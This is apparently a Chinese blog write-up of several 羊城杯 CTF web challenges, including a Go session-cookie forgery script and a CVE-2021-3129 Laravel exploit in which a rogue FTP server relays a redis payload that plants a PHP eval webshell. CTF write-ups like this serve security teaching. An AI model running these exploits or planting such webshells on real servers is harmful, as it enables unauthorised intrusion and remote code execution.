羊城杯

checkin_go

go框架第一次遇到。搭了下go环境顺便学了一下基本语法。

审计源码可以发现,出题人用了gin框架,启用了基于cookie的session。mian函数里面加了几个路由,审计一下关键的中间件处理。

在这里插入图片描述

默认界面需要登录和经典绕过hash验证。但这里很奇怪,不能admin登录但后面需要以admin身份买flag。所以这里的思路是伪造session。

image-20210922190932821

伪造session可行还有一个原因就是go语言下math/rand库中rand函数如果没有指定密钥,只是指定了输出长度,默认的输出结果是一样的,所以这里可以在本地跑源码拿cookie来进行伪造。下一关就是买flag,但是自己只有5000,买flag要两万,这里两个思路,一个是整数溢出将flag价格减为0,另一个是在本地将checkNowMoney设置等于checkPlayerMoney,然后拿cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//伪造cookie
package main

import (
"math/rand"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/a", cookieHandler)
r.Run("127.0.0.1:20702")
}

// func cookieHandler(c *gin.Context) {
// s := sessions.Default(c)
// s.Set("uname", "admin")
// s.Save()
// }
func cookieHandler(c *gin.Context) {
s := sessions.Default(c)
//s.Set("uname", "admin")
//fmt.Println(s.Get("uname"))
//fmt.Println(s.Get("nowMoney"))
s.Set("nowMoney", 5000)
//fmt.Println(s.Get("playerMoney"))
//fmt.Println(s.Get("checkNowMoney"))
s.Set("checkNowMoney", s.Get("checkPlayerMoney"))
//fmt.Println(s.Get("checkPlayerMoney"))
s.Save()
}
func randomChar(l int) []byte {
output := make([]byte, l)
rand.Read(output)
return output
}

在这里插入图片描述

这个题其实借鉴了wmctf的一个go题:https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/

Cross The Side

Laravel v8.26.1 (PHP v7.4.15)远程代码执行漏洞(CVE-2021-3129)

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。但是我用这个打的时候一直报错php内存耗尽,应该是由于该网站的日志文件太大,超出内存,无法进行利,估计是phpini的配置不同专门限制了这种方法,可惜没有看到网上还有一种做法,可以联合ssrf打内网服务。

这里信息搜集的时候是可以看到dump.rdb,提示了开启了redis服务,这里就是可以用file_get_contentsfile_get_contents来打redis了,因为这两个函数不支持gopher协议,这里采用ftp协议,上传文件时请求我们起的恶意服务器,告诉客户端获取数据的ip和端口去下载数据,file_put_contents时再将ip和端口重定向到内网的redis服务,然后发送我们的payload恶意数据,这样就实现了ssrf获取shell。

大致过程如图

在这里插入图片描述

贴一下exp,ftp状态码可参考

https://blog.csdn.net/qq981378640/article/details/51254177

http://www.hackdig.com/06/hack-372823.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B123%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 192,168,160,129,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,24,235\n") # 端口计算规则:24*256+235=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

下篇再总结下ftp打mysql打redis等等攻击。

Only 4

预期解需要扫到searlize.php显然有点扯

非预期是日志文件包含getshell。直接包含PHP_SESSION_UPLOAD_PROGRESS。session文件在/var/lib/php5/sess_rayi。脚本就不贴了

No sql

cms框架来源于http://cn-sec.com/archives/335315.html 考察nosql注入


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!